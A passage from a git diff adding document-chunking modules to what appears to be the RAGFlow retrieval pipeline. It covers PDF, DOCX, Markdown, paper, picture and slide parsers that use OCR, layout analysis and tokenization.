= r.cells[i] + for j in range(i + 1, len(r.cells)): + if c.text == r.cells[j].text: + span += 1 + i = j + else: + break + i += 1 + html += f"" if span == 1 else f"" + except Exception as e: + logging.warning(f"Error parsing table, ignore: {e}") + html += "" + html += "
Table Location: {title}
{c.text}{c.text}
" + tbls.append(((None, html), "")) + return new_line, tbls + + +class Pdf(PdfParser): + def __init__(self): + super().__init__() + + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None, separate_tables_figures=False): + start = timer() + first_start = start + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback + ) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + logging.info("OCR({}~{}): {:.2f}s".format(from_page, to_page, timer() - start)) + + start = timer() + self._layouts_rec(zoomin) + callback(0.63, "Layout analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._table_transformer_job(zoomin) + callback(0.65, "Table analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._text_merge() + callback(0.67, "Text merged ({:.2f}s)".format(timer() - start)) + + if separate_tables_figures: + tbls, figures = self._extract_table_figure(True, zoomin, True, True, True) + self._concat_downward() + logging.info("layouts cost: {}s".format(timer() - first_start)) + return [(b["text"], self._line_tag(b, zoomin)) for b in self.boxes], tbls, figures + else: + tbls = self._extract_table_figure(True, zoomin, True, True) + self._naive_vertical_merge() + self._concat_downward() + # self._filter_forpages() + logging.info("layouts cost: {}s".format(timer() - first_start)) + return [(b["text"], self._line_tag(b, zoomin)) for b in self.boxes], tbls + + +class Markdown(MarkdownParser): + def get_picture_urls(self, sections): + if not sections: + return [] + if isinstance(sections, type("")): + text = sections + elif isinstance(sections[0], type("")): + text = sections[0] + else: + return [] + + from bs4 import BeautifulSoup + html_content = markdown(text) + soup = BeautifulSoup(html_content, 'html.parser') + html_images = [img.get('src') for img in soup.find_all('img') if img.get('src')] + return html_images + + def get_pictures(self, text): + """Download and open all images from markdown text.""" + import requests + image_urls = self.get_picture_urls(text) + images = [] + # Find all image URLs in text + for url in image_urls: + try: + # check if the url is a local file or a remote URL + if url.startswith(('http://', 'https://')): + # For remote URLs, download the image + response = requests.get(url, stream=True, timeout=30) + if response.status_code == 200 and response.headers['Content-Type'].startswith('image/'): + img = Image.open(BytesIO(response.content)).convert('RGB') + images.append(img) + else: + # For local file paths, open the image directly + from pathlib import Path + local_path = Path(url) + if not local_path.exists(): + logging.warning(f"Local image file not found: {url}") + continue + img = Image.open(url).convert('RGB') + images.append(img) + except Exception as e: + logging.error(f"Failed to download/open image from {url}: {e}") + continue + + return images if images else None + + def __call__(self, filename, binary=None, separate_tables=True): + if binary: + encoding = find_codec(binary) + txt = binary.decode(encoding, errors="ignore") + else: + with open(filename, "r") as f: + txt = f.read() + + remainder, tables = self.extract_tables_and_remainder(f'{txt}\n', separate_tables=separate_tables) + + extractor = MarkdownElementExtractor(txt) + element_sections = extractor.extract_elements() + sections = [(element, "") for element in element_sections] + + tbls = [] + for table in tables: + tbls.append(((None, markdown(table, extensions=['markdown.extensions.tables'])), "")) + return sections, tbls + +def load_from_xml_v2(baseURI, rels_item_xml): + """ + Return |_SerializedRelationships| instance loaded with the + relationships contained in *rels_item_xml*. Returns an empty + collection if *rels_item_xml* is |None|. + """ + srels = _SerializedRelationships() + if rels_item_xml is not None: + rels_elm = parse_xml(rels_item_xml) + for rel_elm in rels_elm.Relationship_lst: + if rel_elm.target_ref in ('../NULL', 'NULL'): + continue + srels._srels.append(_SerializedRelationship(baseURI, rel_elm)) + return srels + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, **kwargs): + """ + Supported file formats are docx, pdf, excel, txt. + This method apply the naive ways to chunk files. + Successive text will be sliced into pieces using 'delimiter'. + Next, these successive pieces are merge into chunks whose token number is no more than 'Max token number'. + """ + + is_english = lang.lower() == "english" # is_english(cks) + parser_config = kwargs.get( + "parser_config", { + "chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}) + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + res = [] + pdf_parser = None + section_images = None + if re.search(r"\.docx$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + + try: + vision_model = LLMBundle(kwargs["tenant_id"], LLMType.IMAGE2TEXT) + callback(0.15, "Visual model detected. Attempting to enhance figure extraction...") + except Exception: + vision_model = None + + # fix "There is no item named 'word/NULL' in the archive", referring to https://github.com/python-openxml/python-docx/issues/1105#issuecomment-1298075246 + _SerializedRelationships.load_from_xml = load_from_xml_v2 + sections, tables = Docx()(filename, binary) + + if vision_model: + figures_data = vision_figure_parser_figure_data_wrapper(sections) + try: + docx_vision_parser = VisionFigureParser(vision_model=vision_model, figures_data=figures_data, **kwargs) + boosted_figures = docx_vision_parser(callback=callback) + tables.extend(boosted_figures) + except Exception as e: + callback(0.6, f"Visual model error: {e}. Skipping figure parsing enhancement.") + + res = tokenize_table(tables, doc, is_english) + callback(0.8, "Finish parsing.") + + st = timer() + + chunks, images = naive_merge_docx( + sections, int(parser_config.get( + "chunk_token_num", 128)), parser_config.get( + "delimiter", "\n!?。；！？")) + + if kwargs.get("section_only", False): + return chunks + + res.extend(tokenize_chunks_with_images(chunks, doc, is_english, images)) + logging.info("naive_merge({}): {}".format(filename, timer() - st)) + return res + + elif re.search(r"\.pdf$", filename, re.IGNORECASE): + layout_recognizer = parser_config.get("layout_recognize", "DeepDOC") + if isinstance(layout_recognizer, bool): + layout_recognizer = "DeepDOC" if layout_recognizer else "Plain Text" + callback(0.1, "Start to parse.") + + if layout_recognizer == "DeepDOC": + pdf_parser = Pdf() + + try: + vision_model = LLMBundle(kwargs["tenant_id"], LLMType.IMAGE2TEXT) + callback(0.15, "Visual model detected. Attempting to enhance figure extraction...") + except Exception: + vision_model = None + + if vision_model: + sections, tables, figures = pdf_parser(filename if not binary else binary, from_page=from_page, to_page=to_page, callback=callback, separate_tables_figures=True) + callback(0.5, "Basic parsing complete. Proceeding with figure enhancement...") + try: + pdf_vision_parser = VisionFigureParser(vision_model=vision_model, figures_data=figures, **kwargs) + boosted_figures = pdf_vision_parser(callback=callback) + tables.extend(boosted_figures) + except Exception as e: + callback(0.6, f"Visual model error: {e}. Skipping figure parsing enhancement.") + tables.extend(figures) + else: + sections, tables = pdf_parser(filename if not binary else binary, from_page=from_page, to_page=to_page, callback=callback) + + res = tokenize_table(tables, doc, is_english) + callback(0.8, "Finish parsing.") + + else: + if layout_recognizer == "Plain Text": + pdf_parser = PlainParser() + else: + vision_model = LLMBundle(kwargs["tenant_id"], LLMType.IMAGE2TEXT, llm_name=layout_recognizer, lang=lang) + pdf_parser = VisionParser(vision_model=vision_model, **kwargs) + + sections, tables = pdf_parser(filename if not binary else binary, from_page=from_page, to_page=to_page, + callback=callback) + res = tokenize_table(tables, doc, is_english) + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(csv|xlsx?)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + excel_parser = ExcelParser() + if parser_config.get("html4excel"): + sections = [(_, "") for _ in excel_parser.html(binary, 12) if _] + else: + sections = [(_, "") for _ in excel_parser(binary) if _] + parser_config["chunk_token_num"] = 12800 + + elif re.search(r"\.(txt|py|js|java|c|cpp|h|php|go|ts|sh|cs|kt|sql)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + sections = TxtParser()(filename, binary, + parser_config.get("chunk_token_num", 128), + parser_config.get("delimiter", "\n!?;。；！？")) + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(md|markdown)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + markdown_parser = Markdown(int(parser_config.get("chunk_token_num", 128))) + sections, tables = markdown_parser(filename, binary, separate_tables=False) + + try: + vision_model = LLMBundle(kwargs["tenant_id"], LLMType.IMAGE2TEXT) + callback(0.2, "Visual model detected. Attempting to enhance figure extraction...") + except Exception: + vision_model = None + + if vision_model: + # Process images for each section + section_images = [] + for idx, (section_text, _) in enumerate(sections): + images = markdown_parser.get_pictures(section_text) if section_text else None + + if images: + # If multiple images found, combine them using concat_img + combined_image = reduce(concat_img, images) if len(images) > 1 else images[0] + section_images.append(combined_image) + markdown_vision_parser = VisionFigureParser(vision_model=vision_model, figures_data= [((combined_image, ["markdown image"]), [(0, 0, 0, 0, 0)])], **kwargs) + boosted_figures = markdown_vision_parser(callback=callback) + sections[idx] = (section_text + "\n\n" + "\n\n".join([fig[0][1] for fig in boosted_figures]), sections[idx][1]) + else: + section_images.append(None) + else: + logging.warning("No visual model detected. Skipping figure parsing enhancement.") + + res = tokenize_table(tables, doc, is_english) + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(htm|html)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + chunk_token_num = int(parser_config.get("chunk_token_num", 128)) + sections = HtmlParser()(filename, binary, chunk_token_num) + sections = [(_, "") for _ in sections if _] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(json|jsonl|ldjson)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + chunk_token_num = int(parser_config.get("chunk_token_num", 128)) + sections = JsonParser(chunk_token_num)(binary) + sections = [(_, "") for _ in sections if _] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.doc$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + binary = BytesIO(binary) + doc_parsed = parser.from_buffer(binary) + if doc_parsed.get('content', None) is not None: + sections = doc_parsed['content'].split('\n') + sections = [(_, "") for _ in sections if _] + callback(0.8, "Finish parsing.") + else: + callback(0.8, f"tika.parser got empty content from {filename}.") + logging.warning(f"tika.parser got empty content from {filename}.") + return [] + + else: + raise NotImplementedError( + "file type not supported yet(pdf, xlsx, doc, docx, txt supported)") + + st = timer() + if section_images: + # if all images are None, set section_images to None + if all(image is None for image in section_images): + section_images = None + + if section_images: + chunks, images = naive_merge_with_images(sections, section_images, + int(parser_config.get( + "chunk_token_num", 128)), parser_config.get( + "delimiter", "\n!?。；！？")) + if kwargs.get("section_only", False): + return chunks + + res.extend(tokenize_chunks_with_images(chunks, doc, is_english, images)) + else: + chunks = naive_merge( + sections, int(parser_config.get( + "chunk_token_num", 128)), parser_config.get( + "delimiter", "\n!?。；！？")) + if kwargs.get("section_only", False): + return chunks + + res.extend(tokenize_chunks(chunks, doc, is_english, pdf_parser)) + + logging.info("naive_merge({}): {}".format(filename, timer() - st)) + return res + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + + chunk(sys.argv[1], from_page=0, to_page=10, callback=dummy) diff --git a/rag/app/one.py b/rag/app/one.py new file mode 100644 index 0000000..77c9645 --- /dev/null +++ b/rag/app/one.py @@ -0,0 +1,141 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +from tika import parser +from io import BytesIO +import re + +from deepdoc.parser.utils import get_text +from rag.app import naive +from rag.nlp import rag_tokenizer, tokenize +from deepdoc.parser import PdfParser, ExcelParser, PlainParser, HtmlParser + + +class Pdf(PdfParser): + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + from timeit import default_timer as timer + start = timer() + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback + ) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + + start = timer() + self._layouts_rec(zoomin, drop=False) + callback(0.63, "Layout analysis ({:.2f}s)".format(timer() - start)) + logging.debug("layouts cost: {}s".format(timer() - start)) + + start = timer() + self._table_transformer_job(zoomin) + callback(0.65, "Table analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._text_merge() + callback(0.67, "Text merged ({:.2f}s)".format(timer() - start)) + tbls = self._extract_table_figure(True, zoomin, True, True) + self._concat_downward() + + sections = [(b["text"], self.get_position(b, zoomin)) + for i, b in enumerate(self.boxes)] + for (img, rows), poss in tbls: + if not rows: + continue + sections.append((rows if isinstance(rows, str) else rows[0], + [(p[0] + 1 - from_page, p[1], p[2], p[3], p[4]) for p in poss])) + return [(txt, "") for txt, _ in sorted(sections, key=lambda x: ( + x[-1][0][0], x[-1][0][3], x[-1][0][1]))], None + + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, **kwargs): + """ + Supported file formats are docx, pdf, excel, txt. + One file forms a chunk which maintains original text order. + """ + parser_config = kwargs.get( + "parser_config", { + "chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}) + eng = lang.lower() == "english" # is_english(cks) + + if re.search(r"\.docx$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + sections, tbls = naive.Docx()(filename, binary) + sections = [s for s, _ in sections if s] + for (_, html), _ in tbls: + sections.append(html) + callback(0.8, "Finish parsing.") + + elif re.search(r"\.pdf$", filename, re.IGNORECASE): + pdf_parser = Pdf() + if parser_config.get("layout_recognize", "DeepDOC") == "Plain Text": + pdf_parser = PlainParser() + sections, _ = pdf_parser( + filename if not binary else binary, to_page=to_page, callback=callback) + sections = [s for s, _ in sections if s] + + elif re.search(r"\.xlsx?$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + excel_parser = ExcelParser() + sections = excel_parser.html(binary, 1000000000) + + elif re.search(r"\.(txt|md|markdown)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + txt = get_text(filename, binary) + sections = txt.split("\n") + sections = [s for s in sections if s] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.(htm|html)$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + sections = HtmlParser()(filename, binary) + sections = [s for s in sections if s] + callback(0.8, "Finish parsing.") + + elif re.search(r"\.doc$", filename, re.IGNORECASE): + callback(0.1, "Start to parse.") + binary = BytesIO(binary) + doc_parsed = parser.from_buffer(binary) + sections = doc_parsed['content'].split('\n') + sections = [s for s in sections if s] + callback(0.8, "Finish parsing.") + + else: + raise NotImplementedError( + "file type not supported yet(doc, docx, pdf, txt supported)") + + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + tokenize(doc, "\n".join(sections), eng) + return [doc] + + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + + chunk(sys.argv[1], from_page=0, to_page=10, callback=dummy) diff --git a/rag/app/paper.py b/rag/app/paper.py new file mode 100644 index 0000000..c46f417 --- /dev/null +++ b/rag/app/paper.py @@ -0,0 +1,297 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import copy +import re + +from api.db import ParserType +from rag.nlp import rag_tokenizer, tokenize, tokenize_table, add_positions, bullets_category, title_frequency, tokenize_chunks +from deepdoc.parser import PdfParser, PlainParser +import numpy as np + + +class Pdf(PdfParser): + def __init__(self): + self.model_speciess = ParserType.PAPER.value + super().__init__() + + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + from timeit import default_timer as timer + start = timer() + callback(msg="OCR started") + self.__images__( + filename if not binary else binary, + zoomin, + from_page, + to_page, + callback + ) + callback(msg="OCR finished ({:.2f}s)".format(timer() - start)) + + start = timer() + self._layouts_rec(zoomin) + callback(0.63, "Layout analysis ({:.2f}s)".format(timer() - start)) + logging.debug(f"layouts cost: {timer() - start}s") + + start = timer() + self._table_transformer_job(zoomin) + callback(0.68, "Table analysis ({:.2f}s)".format(timer() - start)) + + start = timer() + self._text_merge() + tbls = self._extract_table_figure(True, zoomin, True, True) + column_width = np.median([b["x1"] - b["x0"] for b in self.boxes]) + self._concat_downward() + self._filter_forpages() + callback(0.75, "Text merged ({:.2f}s)".format(timer() - start)) + + # clean mess + if column_width < self.page_images[0].size[0] / zoomin / 2: + logging.debug("two_column................... {} {}".format(column_width, + self.page_images[0].size[0] / zoomin / 2)) + self.boxes = self.sort_X_by_page(self.boxes, column_width / 2) + for b in self.boxes: + b["text"] = re.sub(r"([\t 　]|\u3000){2,}", " ", b["text"].strip()) + + def _begin(txt): + return re.match( + "[0-9. 一、i]*(introduction|abstract|摘要|引言|keywords|key words|关键词|background|背景|目录|前言|contents)", + txt.lower().strip()) + + if from_page > 0: + return { + "title": "", + "authors": "", + "abstract": "", + "sections": [(b["text"] + self._line_tag(b, zoomin), b.get("layoutno", "")) for b in self.boxes if + re.match(r"(text|title)", b.get("layoutno", "text"))], + "tables": tbls + } + # get title and authors + title = "" + authors = [] + i = 0 + while i < min(32, len(self.boxes)-1): + b = self.boxes[i] + i += 1 + if b.get("layoutno", "").find("title") >= 0: + title = b["text"] + if _begin(title): + title = "" + break + for j in range(3): + if _begin(self.boxes[i + j]["text"]): + break + authors.append(self.boxes[i + j]["text"]) + break + break + # get abstract + abstr = "" + i = 0 + while i + 1 < min(32, len(self.boxes)): + b = self.boxes[i] + i += 1 + txt = b["text"].lower().strip() + if re.match("(abstract|摘要)", txt): + if len(txt.split()) > 32 or len(txt) > 64: + abstr = txt + self._line_tag(b, zoomin) + break + txt = self.boxes[i]["text"].lower().strip() + if len(txt.split()) > 32 or len(txt) > 64: + abstr = txt + self._line_tag(self.boxes[i], zoomin) + i += 1 + break + if not abstr: + i = 0 + + callback( + 0.8, "Page {}~{}: Text merging finished".format( + from_page, min( + to_page, self.total_page))) + for b in self.boxes: + logging.debug("{} {}".format(b["text"], b.get("layoutno"))) + logging.debug("{}".format(tbls)) + + return { + "title": title, + "authors": " ".join(authors), + "abstract": abstr, + "sections": [(b["text"] + self._line_tag(b, zoomin), b.get("layoutno", "")) for b in self.boxes[i:] if + re.match(r"(text|title)", b.get("layoutno", "text"))], + "tables": tbls + } + + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, **kwargs): + """ + Only pdf is supported. + The abstract of the paper will be sliced as an entire chunk, and will not be sliced partly. + """ + parser_config = kwargs.get( + "parser_config", { + "chunk_token_num": 512, "delimiter": "\n!?。；！？", "layout_recognize": "DeepDOC"}) + if re.search(r"\.pdf$", filename, re.IGNORECASE): + if parser_config.get("layout_recognize", "DeepDOC") == "Plain Text": + pdf_parser = PlainParser() + paper = { + "title": filename, + "authors": " ", + "abstract": "", + "sections": pdf_parser(filename if not binary else binary, from_page=from_page, to_page=to_page)[0], + "tables": [] + } + else: + pdf_parser = Pdf() + paper = pdf_parser(filename if not binary else binary, + from_page=from_page, to_page=to_page, callback=callback) + else: + raise NotImplementedError("file type not supported yet(pdf supported)") + + doc = {"docnm_kwd": filename, "authors_tks": rag_tokenizer.tokenize(paper["authors"]), + "title_tks": rag_tokenizer.tokenize(paper["title"] if paper["title"] else filename)} + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + doc["authors_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["authors_tks"]) + # is it English + eng = lang.lower() == "english" # pdf_parser.is_english + logging.debug("It's English.....{}".format(eng)) + + res = tokenize_table(paper["tables"], doc, eng) + + if paper["abstract"]: + d = copy.deepcopy(doc) + txt = pdf_parser.remove_tag(paper["abstract"]) + d["important_kwd"] = ["abstract", "总结", "概括", "summary", "summarize"] + d["important_tks"] = " ".join(d["important_kwd"]) + d["image"], poss = pdf_parser.crop( + paper["abstract"], need_position=True) + add_positions(d, poss) + tokenize(d, txt, eng) + res.append(d) + + sorted_sections = paper["sections"] + # set pivot using the most frequent type of title, + # then merge between 2 pivot + bull = bullets_category([txt for txt, _ in sorted_sections]) + most_level, levels = title_frequency(bull, sorted_sections) + assert len(sorted_sections) == len(levels) + sec_ids = [] + sid = 0 + for i, lvl in enumerate(levels): + if lvl <= most_level and i > 0 and lvl != levels[i - 1]: + sid += 1 + sec_ids.append(sid) + logging.debug("{} {} {} {}".format(lvl, sorted_sections[i][0], most_level, sid)) + + chunks = [] + last_sid = -2 + for (txt, _), sec_id in zip(sorted_sections, sec_ids): + if sec_id == last_sid: + if chunks: + chunks[-1] += "\n" + txt + continue + chunks.append(txt) + last_sid = sec_id + res.extend(tokenize_chunks(chunks, doc, eng, pdf_parser)) + return res + + +""" + readed = [0] * len(paper["lines"]) + # find colon firstly + i = 0 + while i + 1 < len(paper["lines"]): + txt = pdf_parser.remove_tag(paper["lines"][i][0]) + j = i + if txt.strip("\n").strip()[-1] not in ":：": + i += 1 + continue + i += 1 + while i < len(paper["lines"]) and not paper["lines"][i][0]: + i += 1 + if i >= len(paper["lines"]): break + proj = [paper["lines"][i][0].strip()] + i += 1 + while i < len(paper["lines"]) and paper["lines"][i][0].strip()[0] == proj[-1][0]: + proj.append(paper["lines"][i]) + i += 1 + for k in range(j, i): readed[k] = True + txt = txt[::-1] + if eng: + r = re.search(r"(.*?) ([\\.;?!]|$)", txt) + txt = r.group(1)[::-1] if r else txt[::-1] + else: + r = re.search(r"(.*?) ([。？；！]|$)", txt) + txt = r.group(1)[::-1] if r else txt[::-1] + for p in proj: + d = copy.deepcopy(doc) + txt += "\n" + pdf_parser.remove_tag(p) + d["image"], poss = pdf_parser.crop(p, need_position=True) + add_positions(d, poss) + tokenize(d, txt, eng) + res.append(d) + + i = 0 + chunk = [] + tk_cnt = 0 + def add_chunk(): + nonlocal chunk, res, doc, pdf_parser, tk_cnt + d = copy.deepcopy(doc) + ck = "\n".join(chunk) + tokenize(d, pdf_parser.remove_tag(ck), pdf_parser.is_english) + d["image"], poss = pdf_parser.crop(ck, need_position=True) + add_positions(d, poss) + res.append(d) + chunk = [] + tk_cnt = 0 + + while i < len(paper["lines"]): + if tk_cnt > 128: + add_chunk() + if readed[i]: + i += 1 + continue + readed[i] = True + txt, layouts = paper["lines"][i] + txt_ = pdf_parser.remove_tag(txt) + i += 1 + cnt = num_tokens_from_string(txt_) + if any([ + layouts.find("title") >= 0 and chunk, + cnt + tk_cnt > 128 and tk_cnt > 32, + ]): + add_chunk() + chunk = [txt] + tk_cnt = cnt + else: + chunk.append(txt) + tk_cnt += cnt + + if chunk: add_chunk() + for i, d in enumerate(res): + print(d) + # d["image"].save(f"./logs/{i}.jpg") + return res +""" + +if __name__ == "__main__": + import sys + + def dummy(prog=None, msg=""): + pass + chunk(sys.argv[1], callback=dummy) diff --git a/rag/app/picture.py b/rag/app/picture.py new file mode 100644 index 0000000..a868cf4 --- /dev/null +++ b/rag/app/picture.py @@ -0,0 +1,91 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import io +import re + +import numpy as np +from PIL import Image + +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from deepdoc.vision import OCR +from rag.nlp import tokenize +from rag.utils import clean_markdown_block +from rag.nlp import rag_tokenizer + + +ocr = OCR() + + +def chunk(filename, binary, tenant_id, lang, callback=None, **kwargs): + img = Image.open(io.BytesIO(binary)).convert('RGB') + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)), + "image": img, + "doc_type_kwd": "image" + } + bxs = ocr(np.array(img)) + txt = "\n".join([t[0] for _, t in bxs if t[0]]) + eng = lang.lower() == "english" + callback(0.4, "Finish OCR: (%s ...)" % txt[:12]) + if (eng and len(txt.split()) > 32) or len(txt) > 32: + tokenize(doc, txt, eng) + callback(0.8, "OCR results is too long to use CV LLM.") + return [doc] + + try: + callback(0.4, "Use CV LLM to describe the picture.") + cv_mdl = LLMBundle(tenant_id, LLMType.IMAGE2TEXT, lang=lang) + img_binary = io.BytesIO() + img.save(img_binary, format='JPEG') + img_binary.seek(0) + ans = cv_mdl.describe(img_binary.read()) + callback(0.8, "CV LLM respond: %s ..." % ans[:32]) + txt += "\n" + ans + tokenize(doc, txt, eng) + return [doc] + except Exception as e: + callback(prog=-1, msg=str(e)) + + return [] + + +def vision_llm_chunk(binary, vision_model, prompt=None, callback=None): + """ + A simple wrapper to process image to markdown texts via VLM. + + Returns: + Simple markdown texts generated by VLM. + """ + callback = callback or (lambda prog, msg: None) + + img = binary + txt = "" + + try: + with io.BytesIO() as img_binary: + img.save(img_binary, format='JPEG') + img_binary.seek(0) + ans = clean_markdown_block(vision_model.describe_with_prompt(img_binary.read(), prompt)) + txt += "\n" + ans + return txt + + except Exception as e: + callback(-1, str(e)) + + return "" diff --git a/rag/app/presentation.py b/rag/app/presentation.py new file mode 100644 index 0000000..148e73c --- /dev/null +++ b/rag/app/presentation.py @@ -0,0 +1,168 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import copy +import re +from io import BytesIO + +from PIL import Image + +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from deepdoc.parser.pdf_parser import VisionParser +from rag.nlp import tokenize, is_english +from rag.nlp import rag_tokenizer +from deepdoc.parser import PdfParser, PptParser, PlainParser +from PyPDF2 import PdfReader as pdf2_read + + +class Ppt(PptParser): + def __call__(self, fnm, from_page, to_page, callback=None): + txts = super().__call__(fnm, from_page, to_page) + + callback(0.5, "Text extraction finished.") + import aspose.slides as slides + import aspose.pydrawing as drawing + imgs = [] + with slides.Presentation(BytesIO(fnm)) as presentation: + for i, slide in enumerate(presentation.slides[from_page: to_page]): + try: + with BytesIO() as buffered: + slide.get_thumbnail( + 0.1, 0.1).save( + buffered, drawing.imaging.ImageFormat.jpeg) + buffered.seek(0) + imgs.append(Image.open(buffered).copy()) + except RuntimeError as e: + raise RuntimeError(f'ppt parse error at page {i+1}, original error: {str(e)}') from e + assert len(imgs) == len( + txts), "Slides text and image do not match: {} vs. {}".format(len(imgs), len(txts)) + callback(0.9, "Image extraction finished") + self.is_english = is_english(txts) + return [(txts[i], imgs[i]) for i in range(len(txts))] + + +class Pdf(PdfParser): + def __init__(self): + super().__init__() + + def __garbage(self, txt): + txt = txt.lower().strip() + if re.match(r"[0-9\.,%/-]+$", txt): + return True + if len(txt) < 3: + return True + return False + + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, zoomin=3, callback=None): + from timeit import default_timer as timer + start = timer() + callback(msg="OCR started") + self.__images__(filename if not binary else binary, + zoomin, from_page, to_page, callback) + callback(msg="Page {}~{}: OCR finished ({:.2f}s)".format(from_page, min(to_page, self.total_page), timer() - start)) + assert len(self.boxes) == len(self.page_images), "{} vs. {}".format( + len(self.boxes), len(self.page_images)) + res = [] + for i in range(len(self.boxes)): + lines = "\n".join([b["text"] for b in self.boxes[i] + if not self.__garbage(b["text"])]) + res.append((lines, self.page_images[i])) + callback(0.9, "Page {}~{}: Parsing finished".format( + from_page, min(to_page, self.total_page))) + return res + + +class PlainPdf(PlainParser): + def __call__(self, filename, binary=None, from_page=0, + to_page=100000, callback=None, **kwargs): + self.pdf = pdf2_read(filename if not binary else BytesIO(binary)) + page_txt = [] + for page in self.pdf.pages[from_page: to_page]: + page_txt.append(page.extract_text()) + callback(0.9, "Parsing finished") + return [(txt, None) for txt in page_txt] + + +def chunk(filename, binary=None, from_page=0, to_page=100000, + lang="Chinese", callback=None, parser_config=None, **kwargs): + """ + The supported file formats are pdf, pptx. + Every page will be treated as a chunk. And the thumbnail of every page will be stored. + PPT file will be parsed by using this method automatically, setting-up for every PPT file is not necessary. + """ + if parser_config is None: + parser_config = {} + eng = lang.lower() == "english" + doc = { + "docnm_kwd": filename, + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", filename)) + } + doc["title_sm_tks"] = rag_tokenizer.fine_grained_tokenize(doc["title_tks"]) + res = [] + if re.search(r"\.pptx?$", filename, re.IGNORECASE): + ppt_parser = Ppt() + for pn, (txt, img) in enumerate(ppt_parser( + filename if not binary else binary, from_page, 1000000, callback)): + d = copy.deepcopy(doc) + pn += from_page + d["image"] = img + d["doc_type_kwd"] = "image" + d["page_num_int"] = [pn + 1] + d["top_int"] = [0] + d["position_int"] = [(pn + 1, 0, img.size[0], 0, img.size[1])] + tokenize(d, txt, eng) + res.append(d) + return res + elif re.search(r"\.pdf$", filename, re.IGNORECASE): + layout_recognizer = parser_config.get("layout_recognize", "DeepDOC") + if layout_recognizer == "DeepDOC": + pdf_parser = Pdf() + sections = pdf_parser(filename, binary, 